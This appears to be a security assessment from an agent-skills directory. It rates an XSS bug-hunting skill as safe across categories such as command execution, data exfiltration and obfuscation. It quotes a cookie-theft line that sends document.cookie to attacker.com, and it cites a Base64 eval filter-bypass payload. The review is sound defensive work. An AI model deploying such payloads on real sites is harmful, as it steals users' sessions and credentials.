The Agent Skills Directory

[SAFE]: The skill is a set of guidelines and command templates for ethical security research. It identifies itself correctly in metadata and provides instructions consistent with its stated purpose of XSS hunting.
[COMMAND_EXECUTION]: The skill provides shell command templates for tools like curl, grep, dalfox, and XSStrike. These are standard command-line utilities used for web security auditing. The commands are designed to be executed by a human operator or an agent under supervision against target systems identified by the user.
[EXTERNAL_DOWNLOADS]: The skill references several external resources, including the Google CSP Evaluator (csp-evaluator.withgoogle.com) and specific payloads from accounts.google.com. These are well-known, trusted services used for evaluating Content Security Policies.
[DATA_EXFILTRATION]: The skill includes code snippets demonstrating how to exfiltrate cookies or local storage data (e.g., new Image().src='https://attacker.com/?c='+document.cookie). These are clearly labeled as 'Impact framing' and 'PoC for cookie theft', intended to help security researchers demonstrate the severity of a discovered vulnerability in a bug bounty report.
[OBFUSCATION]: The skill contains examples of obfuscation techniques used in XSS payloads, such as Base64 encoding (javascript:eval(atob('YWxlcnQoMSk='))) and HTML entities (a). These are provided for instructional purposes to teach how to bypass filters. A manual review confirms the Base64 string decodes to a benign alert(1) test payload.

xss